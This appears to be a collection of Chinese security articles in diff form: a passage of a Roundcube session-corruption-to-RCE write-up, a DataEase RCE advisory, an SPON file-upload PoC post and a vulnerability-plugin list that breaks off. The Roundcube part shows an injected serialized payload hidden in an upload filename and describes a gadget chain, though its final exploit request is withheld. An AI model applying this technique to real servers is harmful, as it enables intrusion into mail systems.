temp|b:1;language|s:5:"en_US" … cut … request_token|s:32:"a9QJvJFAsk2GngRErQ7IvAny0VWGVBz1";
|
||||
```
|
||||
|
||||
|
||||
将被转换成:
|
||||
|
||||
```
|
||||
a:5:{s:4:"temp";b:1;s:8:"language";s:5:"en_US" … cut … s:13:"request_token";s:32:"a9QJvJFAsk2GngRErQ7IvAny0VWGVBz1";}
|
||||
```
|
||||
|
||||
|
||||
但是当我们将变量命名为!temp时,请注意会发生什么:
|
||||
|
||||
```
|
||||
!temp|b:1;language|s:5:"en_US" … cut … request_token|s:32:"a9QJvJFAsk2GngRErQ7IvAny0VWGVBz1";
|
||||
```
|
||||
|
||||
|
||||
因此,我们将得到:
|
||||
|
||||
```
|
||||
a:5:{s:4:"temp";N;s:10:"1;language";s:5:"en_US" … cut … s:13:"request_token";s:32:"a9QJvJFAsk2GngRErQ7IvAny0VWGVBz1";}
|
||||
```
|
||||
|
||||
|
||||
你发现语言是怎么被弄乱的了吗?或者更确切地说,它完全消失了,因为它现在变成了1;language 😲 。现在很明显,带有 ! 的条件逻辑被错误地评估了,并且没有包含任何针对边缘情况的额外检查。
|
||||
|
||||
这种奇怪的逻辑究竟为何存在,至今仍是个谜。但我们确实知道的是,由于指针位置仅仅移动了一个字符,函数错误地标记了值的缺失,并顺利地跳过查找下一个键。瞧——欢迎来到令人愉悦的“会话损坏”
|
||||
($has_value = false;)世界!但这还不是全部,会话损坏与会话注入密切相关,直接指向PHP 对象注入!
|
||||
|
||||
不过,先别急😄。在实现这个目标之前,我们得先避开一些陷阱,比如弄清楚如何以及在哪里利用它。我做的第一件事就是查找所有类型的构造函数
|
||||
$_SESSION[$under_control] = $controlled_value;,以及相关的数组合并函数,比如 array_merge。可惜的是,可用的变体要么通过白名单严格过滤输入,就像这样:
|
||||
|
||||

|
||||
|
||||
./program/actions/utils/save_pref.php
|
||||
|
||||
...或者完全避免用户输入,暗示开发人员非常清楚并谨慎对待这种潜在的滥用。😅不幸的是,这里浪费了相当多的时间。
|
||||
|
||||
继续搜索,我又回到了rcube_session.php。如果你有创意,就会发现这其实是个金矿。这里的许多方法直接与一个数组进行交互,该数组最终会变成$_SESSION,最终,控制权会移交给该类的继承者。
|
||||
|
||||
找到入口点:当上传出现问题时
|
||||
|
||||
经过一番挖掘,我们发现了三条值得进一步研究的有希望的途径:
|
||||
- rcube_session→append()
|
||||
|
||||
- rcube_session→删除()
|
||||
|
||||
- rcube_session→重新加载()
|
||||
|
||||
快速筛选排除了两个候选方法:remove()从逻辑上来说不太合适,因为我们需要添加而不是删除;reload()缺乏用户可控制的参数,而且很少出现。最后只剩下append()了。Swift 代码grep显示:
|
||||
|
||||

|
||||
|
||||
总比没有好!让我们看看./program/actions/settings/upload.php 文件
|
||||
|
||||

|
||||
|
||||
./program/actions/settings/upload.php
|
||||
|
||||
中奖了!$_GET['_from']参数实际上没有经过任何过滤,完全符合我们的需求,并允许我们注入所需的有效载荷。
|
||||
|
||||
让我们使用标准功能来检查一下。导航到http://roundcube.local/?_task=settings&_action=identities并上传一张图
|
||||
|
||||

|
||||
|
||||
这会触发类似如下的请求:
|
||||
|
||||
```
|
||||
POST /?_task=settings&_framed=1&_remote=1&_from=edit-identity&_id=&_uploadid=upload1747775811437&_unlock=loading1747775811438&_action=upload HTTP/1.1Host: roundcube.localX-Requested-With: XMLHttpRequest... cut ... Accept-Encoding: identityContent-Length: 242-----------------------------WebKitFormBoundaryContent-Disposition: form-data; name="_file[]"; filename="123.png"Content-Type: image/png__IMAGE_CONTENT_HERE__-----------------------------WebKitFormBoundary--
|
||||
```
|
||||
|
||||
|
||||
让我们看一下我们的会议并观察结果:
|
||||
|
||||
```
|
||||
language|s:5:"en_US"; ... cut ... identity|a:1:{s:5:"files";a:2:{s:20:"61747773691022408600";a:6:{s:4:"path";s:40:"/tmp/RCMTEMPattmnt682ce8fb36ab2855071037";s:4:"size";i:26347;s:4:"name";s:7:"123.png"; ... cut ... }}}
|
||||
```
|
||||
|
||||
|
||||
答对了!🎉我们请求中的身份密钥出现了!通过修改 GET 参数,我们可以影响最终由rcube_session→unserialize()_from方法处理的内容。
|
||||
|
||||
最初,我尝试创建另一个任意数组来嵌入一个对象。发送类似的payload后,_from=edit-!identity xxx|| b:0;test| O:4:"test":0:{}我感到很失望。该字符串没有包含在会话数据中。这可能是因为PHP会话数组的键不能包含该|字符。
|
||||
|
||||
但会话仍然有可能被破坏,因此我们开始努力寻找解决方法。幸运的是,解决方案很快就出现了!记住,我们仍然可以控制上传文件的名称,就像我们之前使用123.png的示例一样。指针设置错误后,该方法会读取以下字符串,直到 | 字符为止,并将其作为另一个数组的键。因此,部分有效载荷可以注入到上传文件的名称中。结果如下:
|
||||
|
||||
```
|
||||
language|s:5:"en_US"; … cut … … !identity|a:1:{s:5:"files";a:2:{s:20:"61747773691022408600";a:6:{s:4:"path";s:40:"/tmp/RCMTEMPattmnt682ce8fb36ab2855071037";s:4:"size";i:26347;s:4:"name";s:39:"12xxx|b:0;test|O:4:"test":0:{}xxx|3.png"; … cut … }}}
|
||||
```
|
||||
|
||||
|
||||
理论测试立即证实了它在实践中的成功!🎉 因此,我们可以将任意数据注入当前会话——这种情况受到 Roundcube 开发人员的严格保护,用户无法访问。
|
||||
|
||||
按照最初的计划,我尝试了PHP 对象注入,并嵌入了类似 Guzzle 的 Payload。然而,我遇到了一个问题:直接利用这一点根本行不通,因为上传的文件名不能包含空字节,而空字节对于许多反序列化链来说至关重要。此外,Roundcube 会从用户输入中去除空字节和格式错误的 Unicode,而_from也帮不上什么忙。😔
|
||||
|
||||
很长一段时间以来,我一直试图通过将s替换为S来利用此漏洞,但都没有成功,因为我以为字符串数据可以使用\00之类的转义序列来表示。但在rcube_session→unserialize()中,这种方法并没有实现,它会按字面意思处理每个字符,并且无法识别转义序列。因此,PHP 在尝试反序列化此类字符串时会抛出错误。所以,我们得再等等,找到绕过这个限制的方法。
|
||||
|
||||
正如之前所述,我们可以将任意变量注入会话。但是,如果有一个参数的字符串值被强制包含编码的序列化字符串,该怎么办?也就是说,该值只是一个字符串,rcube_session→unserialize()会将其简单地赋值给一个变量,然后,这些数据稍后会被传递给另一个unserialize() 函数?幸运的是,这样的代码确实存在:
|
||||
|
||||

|
||||
|
||||
./program/lib/Roundcube/rcube_user.php
|
||||
|
||||
武器化原语:制作有效载荷
|
||||
|
||||
另外,值得庆幸的是,在意识到自己已经花了相当多的时间后,我开始思考:为什么不找另一个反序列化工具呢?用Guzzle写入文件固然不错,但立即实现 RCE 听起来更棒!🚀
|
||||
|
||||
在这里,Roundcube 没有让人失望,它有一个来自PEAR库的精彩类可用:
|
||||
|
||||

|
||||
|
||||
./vendor/pear/crypt_gpg/Crypt/GPG/Engine.php
|
||||
|
||||
因此,结合之前的研究,我们创建了一个函数,可以根据我们之前描述的场景精确计算有效载荷注入:
|
||||
|
||||

|
||||
|
||||
首先,我们放置用于生成 RCE 小工具构造的类,将其序列化为字符串,然后开始构建我们的$payload 。 process_serialized函数确实是从PHPGGC偷来的😄,它正确地用转义序列替换了有效载荷中的空字节,从而绕过了无法通过任何其他方式传递原始有效载荷的问题。接下来,计算将作为序列化字符串传入首选项参数的数据部分的长度。这样,一个包含三个元素的数组就被放置在那里了:
|
||||
- 在第一个元素中,RC 生成的标准“垃圾”将被覆盖,我们提前知道它的长度并对其进行硬编码。
|
||||
|
||||
- 首选项数组的第二个元素将保存我们的对象,并且$append的长度根据$payload的大小动态形成。
|
||||
|
||||
- 第三个元素将用于销毁对象,类似于快速销毁,但仅用于确保有效载荷不会保存在数据库中,并且不会重复执行。仅执行一次,之后具有相同键的变量会将此对象从数组中删除。
|
||||
|
||||
另外,为了以防万一,我们注入了代码preferences_time|b:0;以确保首选项不会被序列化。而且,正如我之前提到的,应用程序会从传入数据中去除所有损坏的 Unicode 字符,为什么不利用这一点来绕过 WAF 呢?只需preg_replace注入少量代码即可。
|
||||
|
||||
说实话,当我写下这些文字的时候,我自己也开始好奇最终的请求会是什么样子😅毕竟,在写下这些文字之前,我从未见过完整的原始格式。既然我们已经看过上面的正常上传请求,现在我们可以将它与 RCE 变体进行比较,当然,这里没有混淆:
|
||||
|
||||
```
|
||||
POST / ...===================I’m withholding the code for now. Can’t have every script kiddie turning thisinto a party just yet. ===================...
|
||||
```
|
||||
|
||||
|
||||
看起来很简单,不是吗?但现在我们知道它绝非易事😅
|
||||
|
||||
顺便说一句,此 POST 请求没有 CSRF 保护,并且所描述的技术(有一些例外和不同的形式)可用于实现类似的结果😉
|
||||
|
||||
最后的想法和建议:
|
||||
|
||||
致防御者:如果您尚未修补,请立即修复。此漏洞现已被知晓、可利用且正在出售。请考虑监控文件上传、会话活动以及与此攻击向量相关的其他指标。
|
||||
|
||||
致供应商:在大多数用户更新之前,请避免公开发布补丁,或者至少混淆提交信息,为维护者争取时间。GitHub 上的公开提交属于公开披露。
|
||||
|
||||
致研究人员:当威胁形势发生变化时,不要害怕发布信息。负责任的披露始终是首选,但现实并不总是如此。如果黑帽黑客公开信息,白帽黑客也应该这样做——但要清晰透明、符合道德规范、技术精准。
|
||||
|
||||
最终,这项研究的目标不仅仅是证明漏洞的存在,而是提高可利用性的标准,帮助开发人员改进,并使防御者保持领先一步。
|
||||
|
||||
保持好奇心、保持敏锐、负责任地进行黑客攻击。
|
||||
|
||||
|
||||
|
||||
|
||||
感谢您抽出
|
||||
|
||||

|
||||
|
||||
.
|
||||
|
||||

|
||||
|
||||
.
|
||||
|
||||

|
||||
|
||||
来阅读本文
|
||||
|
||||

|
||||
|
||||
**点它,分享点赞在看都在这里**
|
||||
|
||||
@@ -0,0 +1,210 @@
|
||||
# 【已复现】DataEase 远程代码执行漏洞(CVE-2025-49002、CVE-2025-49001)
|
||||
长亭安全应急响应中心 2025-06-05 08:06
|
||||
|
||||

|
||||
|
||||
|
||||
DataEase是一个开源的数据可视化分析工具。用于帮助用户快速分析数据并洞察业务趋势,从而实现业务的改进与优化。
|
||||
|
||||
|
||||
2025年6月, 互联网
|
||||
公开
|
||||
披露 DataEase 存在多个高危漏洞(CVE-2025-48999、CVE-2025-49002、CVE-2025-49001),攻击者可通过组合漏洞实现前台远程代码执行,危害极大。相关技术细节已公开,建议受影响用户尽快修复。
|
||||
|
||||
|
||||
|
||||
**漏洞描述**
|
||||
|
||||
|
||||
Description
|
||||
|
||||
|
||||
|
||||
|
||||
**0****1**
|
||||
|
||||
**漏洞成因**
|
||||
|
||||
CVE-2025-48999:
|
||||
|
||||
该漏洞源于 DataEase 后台在配置 Redshift 数据源时,对 JDBC 连接参数缺乏严格校验。攻击者在拥有后台权限的情况下,可以通过构造恶意的 JDBC 连接字符串,将恶意 Java 代码注入到服务器端。由于服务端未对输入参数进行有效过滤和限制,最终导致攻击者能够远程执行任意 Java 代码,获取服务器控制权限。
|
||||
|
||||
|
||||
CVE-2025-49002:
|
||||
|
||||
该漏洞与 Redshift JDBC 漏洞类似,存在于 DataEase 后台配置 H2 数据源的功能中。由于系统未对 H2 JDBC 连接参数进行安全校验,攻击者可通过恶意构造的 JDBC URL 注入恶意代码。H2 数据库本身支持多种特殊的 JDBC 参数(如 INIT),攻击者可利用这些特性在服务器端执行任意 Java 代码,进而获取服务器权限。
|
||||
|
||||
|
||||
CVE-2025-49001:
|
||||
|
||||
该漏洞源于 DataEase 在实现 JWT(JSON Web Token)鉴权时,存在密钥校验逻辑缺陷。当系统对 JWT 进行密钥验证失败后,未能及时中断后续流程,导致请求仍然被传递到目标业务函数。攻击者可以伪造任意 JWT 密钥,绕过正常的身份认证与权限校验,进而获取本不应有的访问权限,为后续攻击(如 RCE)提供便利条件。
|
||||
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
远程代码执行(RCE):攻击者可在服务器上执行任意 Java 代码,获取服务器控制权限,可能导致数据泄露、服务被控、业务中断等严重后果。
|
||||
|
||||
|
||||
权限绕过:攻击者可伪造 JWT 密钥,绕过身份认证,获取本不应有的访问权限,为进一步攻击(如 RCE)提供条件。
|
||||
|
||||
|
||||
|
||||
**处置优先级:高**
|
||||
|
||||
**漏洞类型:权限绕过/远程代码执行**
|
||||
|
||||
**漏洞危害等级:**
|
||||
高
|
||||
|
||||
**触发方式:**
|
||||
网络远程
|
||||
|
||||
**权限认证要求:**
|
||||
无需权限
|
||||
|
||||
**系统配置要求:默认配置可利用**
|
||||
|
||||
**用户交互要求:**
|
||||
无需用户交互
|
||||
|
||||
**利用成熟度:**
|
||||
POC/EXP 已公开
|
||||
|
||||
**修复复杂度:**
|
||||
低,
|
||||
官方提供升级修复方案
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**影响版本**
|
||||
|
||||
|
||||
Affects
|
||||
|
||||
|
||||
|
||||
|
||||
**02**
|
||||
```
|
||||
```
|
||||
|
||||
**解决方案**
|
||||
|
||||
|
||||
Solution
|
||||
|
||||
|
||||
|
||||
|
||||
**03**
|
||||
|
||||
##
|
||||
|
||||
## 临时缓解方案
|
||||
|
||||
|
||||
如果暂时无法升级,可以采取以下措施降低风险:
|
||||
|
||||
通过防护类设备(如 WAF、防火墙等)拦截请求中出现的恶意 JDBC 特征,阻断可疑流量。
|
||||
|
||||
在不影响业务的情况下,限制服务器出网,防止攻击者利用 JDBC 连接外部资源。
|
||||
|
||||
如非必要,避免将 DataEase 暴露在互联网,限制访问来源。
|
||||
## 升级修复方案
|
||||
|
||||
DataEase 官方已发布修复版本,请尽快升级至 2.10.10 及以上版本。
|
||||
|
||||
下载地址:
|
||||
https://github.com/dataease/dataease/releases/tag/v2.10.10
|
||||
|
||||
|
||||
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
Reproduction
|
||||
|
||||
|
||||
|
||||
|
||||
**04**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
**产品支持**
|
||||
|
||||
Support
|
||||
|
||||
|
||||
|
||||
**05**
|
||||
|
||||
云图:默认支持该产品的指纹识别,
|
||||
同时支持该漏洞的原理PoC检测
|
||||
|
||||
洞鉴:以自定义POC形式支持该漏洞的原理检测
|
||||
|
||||
雷池:
|
||||
已发布自定义规则支持该漏洞利用行为的检测
|
||||
|
||||
全悉:已发布规则更新包,支持该漏洞利用行为的检测
|
||||
|
||||
|
||||
**时间线**
|
||||
|
||||
|
||||
Timeline
|
||||
|
||||
|
||||
|
||||
|
||||
**06**
|
||||
|
||||
6月5日 长亭安全应急响应中心发布通告
|
||||
|
||||
|
||||
|
||||
参考资料:
|
||||
|
||||
[1].https://github.com/dataease/dataease/security/advisories/GHSA-6pq2-6q8x-mp2r
|
||||
|
||||
[2].https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
|
||||
|
||||
[3].https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r
|
||||
|
||||
|
||||
|
||||
**长亭应急响应服务**
|
||||
|
||||
|
||||
|
||||
|
||||
全力进行产品升级
|
||||
|
||||
及时将风险提示预案发送给客户
|
||||
|
||||
检测业务是否受到此次漏洞影响
|
||||
|
||||
请联系长亭应急服务团队
|
||||
|
||||
7*24小时,守护您的安全
|
||||
|
||||
|
||||
第一时间找到我们:
|
||||
|
||||
邮箱:support@chaitin.com
|
||||
|
||||
@@ -0,0 +1,113 @@
|
||||
# 世邦通信SPON-IP网络对讲广播系统 videobacktrackpush.php 任意文件上传漏洞
|
||||
Superhero Nday Poc 2025-06-05 07:59
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的
|
||||
POC
|
||||
信息及
|
||||
POC对应脚本
|
||||
而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Nday Poc及作者不为此承担任何责任,一旦造成后果请自行承担!
|
||||
|
||||
|
||||
**01**
|
||||
|
||||
**漏洞概述**
|
||||
|
||||
|
||||
世邦通信SPON-IP网络对讲广播系统 videobacktrackpush.php 接口存在任意文件上传漏洞,未经身份攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。
|
||||
**02******
|
||||
|
||||
**搜索引擎**
|
||||
|
||||
|
||||
FOFA:
|
||||
```
|
||||
body="vendors/toastr-master/build/toastr.min.js"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||
**03******
|
||||
|
||||
**漏洞复现**
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**04**
|
||||
|
||||
**自查工具**
|
||||
|
||||
|
||||
nuclei
|
||||
|
||||

|
||||
|
||||
afrog
|
||||
|
||||

|
||||
|
||||
xray
|
||||
|
||||

|
||||
|
||||
|
||||
**05******
|
||||
|
||||
**修复建议**
|
||||
|
||||
|
||||
1、关闭互联网暴露面或接口设置访问权限
|
||||
|
||||
2、
|
||||
升级至安全版本
|
||||
|
||||
|
||||
**06******
|
||||
|
||||
**内部圈子介绍**
|
||||
|
||||
|
||||
【Nday漏洞实战圈】🛠️
|
||||
|
||||
专注公开1day/Nday漏洞复现
|
||||
· 工具链适配支持
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
🔍 资源内容
|
||||
|
||||
▫️ 整合全网公开
|
||||
1day/Nday
|
||||
漏洞POC详情
|
||||
|
||||
▫️ 适配Xray/Afrog/Nuclei检测脚本
|
||||
|
||||
▫️ 支持内置与自定义POC目录混合扫描
|
||||
|
||||
🔄 更新计划
|
||||
|
||||
▫️ 每周新增7-10个实用POC(来源公开平台)
|
||||
|
||||
▫️ 所有脚本经过基础测试,降低调试成本
|
||||
|
||||
🎯 适用场景
|
||||
|
||||
▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗
|
||||
▫️ 安全运维
|
||||
|
||||
✧━━━━━━━━━━━━━━━━✧
|
||||
|
||||
⚠️ 声明:仅限合法授权测试,严禁违规使用!
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,411 @@
|
||||
# 创宇安全智脑 | Cisco IOS XE 任意文件上传(CVE-2025-20188)等81个漏洞可检测
|
||||
原创 创宇安全智脑 创宇安全智脑 2025-06-05 07:51
|
||||
|
||||
**创宇安全智脑**
|
||||
是基于知道创宇17年来AI+安全大数据在真实攻防场景中的经验积累构建的下一代全场景安全智能算力平台。平台拥有海量真实攻防数据和安全大数据持续生产能力;结合面向多个实战场景的AI智能模型,持续汇聚、萃取和分析,实时输出高精准高价值威胁情报、安全态势、攻防策略;持续全场景赋能知道创宇全产品矩阵和安全托管服务。
|
||||
|
||||
|
||||
**创宇安全智脑目前已经联动支撑知道创宇全产品矩阵,包括:创宇盾、抗D保、ScanV、ZoomEye、创宇蜜罐、创宇云图、创宇云影、创宇猎幽、创宇威胁情报网关等。**
|
||||
|
||||
|
||||
本周累计更新漏洞插件81个,其中重点插件9个
|
||||
|
||||
**详情如下:**
|
||||
|
||||
|
||||
**更新列表**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
漏洞详情
|
||||
|
||||
|
||||
**新增插件:**
|
||||
|
||||
|
||||
1、Versa Concerto Actuator 身份认证绕过(CVE-2025-34026)
|
||||
|
||||
**发布时间:**
|
||||
2025-06-03
|
||||
|
||||
**漏洞等级:**
|
||||
高危
|
||||
|
||||
**漏洞来源:**
|
||||
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-34026
|
||||
|
||||
**漏洞描述:**
|
||||
|
||||
Versa Concerto 是 Versa Networks 提供的一款用于安全 SD-WAN 和 SASE(安全访问服务边缘)部署的编排和管理平台。由于对 X-Real-Ip 标头的处理不当,身份验证绕过漏洞影响了 Versa Concerto 中的 Spring Boot Actuator 端点。攻击者可以通过省略此标头来访问受限端点,窃取敏感信息。
|
||||
|
||||
**漏洞危害:**
|
||||
|
||||
攻击者可以通过省略此标头来访问受限端点,窃取敏感信息。
|
||||
|
||||
**建议解决方案:**
|
||||
|
||||
1、厂商暂未发布漏洞修复方案,请密切关注。参考链接:https://www.versa-networks.com/;
|
||||
|
||||
2、用户可临时使用防火墙等安全设备将漏洞URI加入访问控制。
|
||||
|
||||
**影响范围:**
|
||||
|
||||
根据ZoomEye网络空间搜索引擎关键字 app="Versa Concerto" 对潜在可能目标进行搜索,共得到109条IP历史记录。主要分布在美国、印度等国家。
|
||||
|
||||
(ZoomEye搜索链接:
|
||||
|
||||
https://www.zoomeye.org/searchResult?q=app%3D%22Versa%20Concerto%22)
|
||||
|
||||

|
||||
|
||||
**区域分布:**
|
||||
|
||||

|
||||
|
||||
|
||||
2、云课网校 localupload 任意文件上传
|
||||
|
||||
**发布时间:**
|
||||
2025-06-03
|
||||
|
||||
**漏洞等级:**
|
||||
高危
|
||||
|
||||
**漏洞来源:**
|
||||
创宇安全智脑
|
||||
|
||||
**漏洞描述:**
|
||||
|
||||
云课网校系统是一款使用 PHP 开发的的网校系统。云课网校 localupload 接口存在任意文件上传漏洞。未经授权的远程攻击者可上传恶意文件至服务器,远程执行任意代码,获取系统权限。
|
||||
|
||||
**漏洞危害:**
|
||||
|
||||
未经授权的远程攻击者可上传恶意文件至服务器,远程执行任意代码,获取系统权限。
|
||||
|
||||
**建议解决方案:**
|
||||
|
||||
及时更新至最新版本,使用白名单进行验证,并将上传文件保存在非 Web 可访问的目录中。
|
||||
|
||||
**影响范围:**
|
||||
|
||||
根据ZoomEye网络空间搜索引擎关键字 app="云课网校" 对潜在可能目标进行搜索,共得到108条IP历史记录。主要分布在中国、美国等国家。
|
||||
|
||||
(ZoomEye搜索链接:
|
||||
|
||||
https://www.zoomeye.org/searchResult?q=app%3D%22%E4%BA%91%E8%AF%BE%E7%BD%91%E6%A0%A1%22)
|
||||
|
||||

|
||||
|
||||
**区域分布:**
|
||||
|
||||

|
||||
|
||||
|
||||
3、汉王e脸通综合管理平台 resourceUploadFile.do 任意文件上传
|
||||
|
||||
**发布时间:**
|
||||
2025-06-03
|
||||
|
||||
**漏洞等级:**
|
||||
高危
|
||||
|
||||
**漏洞来源:**
|
||||
创宇安全智脑
|
||||
|
||||
**漏洞描述:**
|
||||
|
||||
汉王e脸通综合管理平台是汉王科技推出的一款基于生物识别技术的一站式智能管理平台,旨在通过融合多种智能硬件和AI技术,实现门禁、考勤、访客、会议、车辆等多种功能的智能化管理和场景应用。汉王e脸通综合管理平台 resourceUploadFile.do 接口存在任意文件上传漏洞。远程攻击者可上传恶意文件至服务器,远程执行任意代码,获取系统权限。
|
||||
|
||||
**漏洞危害:**
|
||||
|
||||
远程攻击者可上传恶意文件至服务器,远程执行任意代码,获取系统权限。
|
||||
|
||||
**建议解决方案:**
|
||||
|
||||
及时更新至最新版本,使用白名单进行验证,并将上传文件保存在非 Web 可访问的目录中。
|
||||
|
||||
**影响范围:**
|
||||
|
||||
根据ZoomEye网络空间搜索引擎关键字 app="汉王e脸通综合管理平台" 对潜在可能目标进行搜索,共得到285条IP历史记录。主要分布在中国、孟加拉等国家。
|
||||
|
||||
(ZoomEye搜索链接:
|
||||
|
||||
https://www.zoomeye.org/searchResult?q=app%3D%22%E6%B1%89%E7%8E%8Be%E8%84%B8%E9%80%9A%E7%BB%BC%E5%90%88%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0%22)
|
||||
|
||||

|
||||
|
||||
**区域分布:**
|
||||
|
||||

|
||||
|
||||
|
||||
4、Versa Concerto API 身份认证绕过(CVE-2025-34027)
|
||||
|
||||
**发布时间:**
|
||||
2025-06-03
|
||||
|
||||
**漏洞等级:**
|
||||
高危
|
||||
|
||||
**漏洞来源:**
|
||||
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-34027
|
||||
|
||||
**漏洞描述:**
|
||||
|
||||
Versa Concerto 是 Versa Networks 提供的一款用于安全 SD-WAN 和 SASE(安全访问服务边缘)部署的编排和管理平台。由于 URL 解码不一致,Versa Concerto API 中存在身份验证绕过漏洞。攻击者可通过操纵 URL 路径对某些 API 端点进行未经授权的访问,访问受限资源。
|
||||
|
||||
**漏洞危害:**
|
||||
|
||||
攻击者可通过操纵 URL 路径对某些 API 端点进行未经授权的访问,访问受限资源。
|
||||
|
||||
**建议解决方案:**
|
||||
|
||||
1、厂商暂未发布漏洞修复方案,请密切关注。参考链接:https://www.versa-networks.com/;
|
||||
|
||||
2、用户可临时使用防火墙等安全设备将漏洞URI加入访问控制。
|
||||
|
||||
**影响范围:**
|
||||
|
||||
根据ZoomEye网络空间搜索引擎关键字 app="Versa Concerto" 对潜在可能目标进行搜索,共得到109条IP历史记录。主要分布在美国、印度等国家。
|
||||
|
||||
(ZoomEye搜索链接:
|
||||
|
||||
https://www.zoomeye.org/searchResult?q=app%3D%22Versa%20Concerto%22)
|
||||
|
||||

|
||||
|
||||
**区域分布:**
|
||||
|
||||

|
||||
|
||||
|
||||
5、
|
||||
Cisco IOS XE 任意文件上传(CVE-2025-20188)
|
||||
|
||||
**发布时间:**
|
||||
2025-05-30
|
||||
|
||||
**漏洞等级:**
|
||||
高危
|
||||
|
||||
**漏洞来源:**
|
||||
|
||||
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-20188
|
||||
|
||||
**漏洞描述:**
|
||||
|
||||
Cisco IOS XE 是 Cisco 的一款无线控制器。Cisco IOS XE 由于存在硬编码的 JWT 认证凭证,攻击者可以通过 AP 镜像接口以 root 身份上传任意文件至服务器,远程执行任意代码,获取系统权限。
|
||||
|
||||
**漏洞危害:**
|
||||
|
||||
未经授权的远程攻击者可上传恶意文件至服务器,远程执行任意代码,获取系统权限。
|
||||
|
||||
**建议解决方案:**
|
||||
|
||||
及时更新至最新版本,临时措施可禁用 AP 功能阻止漏洞利用路径。
|
||||
|
||||
**影响范围:**
|
||||
|
||||
根据ZoomEye网络空间搜索引擎关键字 app="Cisco IOS XE" 对潜在可能目标进行搜索,共得到763条IP历史记录。主要分布在乌干达、俄罗斯等国家。
|
||||
|
||||
(ZoomEye搜索链接:
|
||||
|
||||
https://www.zoomeye.org/searchResult?q=app%3D%22Cisco%20IOS%20XE%22)
|
||||
|
||||

|
||||
|
||||
**区域分布:**
|
||||
|
||||

|
||||
|
||||
|
||||
6、任我行CRM DataExportFileDownload 任意文件读取
|
||||
|
||||
**发布时间:**
|
||||
2025-05-30
|
||||
|
||||
**漏洞等级:**
|
||||
高危
|
||||
|
||||
**漏洞来源:**
|
||||
创宇安全智脑
|
||||
|
||||
**漏洞描述:**
|
||||
|
||||
任我行CRM是一款集OA自动化办公、OM目标管理、KM知识管理、HR人力资源为一体集成的企业管理软件。任我行CRM DataExportFileDownload 接口存在任意文件读取漏洞。未经授权的远程攻击者可以利用该漏洞,造成敏感信息泄露。
|
||||
|
||||
**漏洞危害:**
|
||||
|
||||
未经授权的远程攻击者可以利用该漏洞,造成敏感信息泄露。
|
||||
|
||||
**建议解决方案:**
|
||||
|
||||
及时更新至最新版本,使用白名单限定访问文件的路径、名称及后缀名,严格过滤用户输入字符的合法性,比如文件类型、文件地址、文件内容等,并确保使用时进行输入验证和过滤,以防止参数中包含非法字符。
|
||||
|
||||
**影响范围:**
|
||||
|
||||
根据ZoomEye网络空间搜索引擎关键字 app="任我行CRM" 对潜在可能目标进行搜索,共得到975条IP历史记录。主要分布在中国江苏、浙江等地。
|
||||
|
||||
(ZoomEye搜索链接:
|
||||
|
||||
https://www.zoomeye.org/searchResult?q=app%3D%22%E4%BB%BB%E6%88%91%E8%A1%8CCRM%22)
|
||||
|
||||

|
||||
|
||||
**区域分布:**
|
||||
|
||||

|
||||
|
||||
|
||||
7、朗速 ERP WebDwgDefault.aspx 任意文件上传
|
||||
|
||||
**发布时间:**
|
||||
2025-05-29
|
||||
|
||||
**漏洞等级:**
|
||||
高危
|
||||
|
||||
**漏洞来源:**
|
||||
创宇安全智脑
|
||||
|
||||
**漏洞描述:**
|
||||
|
||||
郎速ERP是一款功能强大的企业资源计划(ERP)软件,专为中小企业量身打造,旨在帮助企业优化管理流程、提升运营效率。朗速 ERP WebDwgDefault.aspx 接口存在任意文件上传漏洞。未经授权的远程攻击者可上传恶意文件至服务器,远程执行任意代码,获取系统权限。
|
||||
|
||||
**漏洞危害:**
|
||||
|
||||
未经授权的远程攻击者可上传恶意文件至服务器,远程执行任意代码,获取系统权限。
|
||||
|
||||
**建议解决方案:**
|
||||
|
||||
及时更新至最新版本,使用白名单进行验证,并将上传文件保存在非 Web 可访问的目录中。
|
||||
|
||||
**影响范围:**
|
||||
|
||||
根据ZoomEye网络空间搜索引擎关键字 app="朗速 ERP" 对潜在可能目标进行搜索,共得到206条IP历史记录。主要分布在中国、越南等国家。
|
||||
|
||||
(ZoomEye搜索链接:
|
||||
|
||||
https://www.zoomeye.org/searchResult?q=app%3D%22%E6%9C%97%E9%80%9F%20ERP%22)
|
||||
|
||||

|
||||
|
||||
**区域分布:**
|
||||
|
||||

|
||||
|
||||
|
||||
8、扁鹊飞救区域协同急救与智能质控系统 YZGH XML 外部实体注入
|
||||
|
||||
**发布时间:**
|
||||
2025-05-29
|
||||
|
||||
**漏洞等级:**
|
||||
高危
|
||||
|
||||
**漏洞来源:**
|
||||
创宇安全智脑
|
||||
|
||||
**漏洞描述:**
|
||||
|
||||
扁鹊飞救区域协同急救与智能质控系统是一个集先进技术于一体的综合急救平台,旨在通过信息化手段实现院前院内急救无缝衔接,提升急救效率与质量。扁鹊飞救区域协同急救与智能质控系统 YZGH 接口存在XML外部实体注入漏洞。恶意攻击者可以利用该漏洞导致服务器端请求伪造(SSRF)和敏感信息泄露。
|
||||
|
||||
**漏洞危害:**
|
||||
|
||||
恶意攻击者可以利用该漏洞导致服务器端请求伪造(SSRF)和敏感信息泄露。
|
||||
|
||||
**建议解决方案:**
|
||||
|
||||
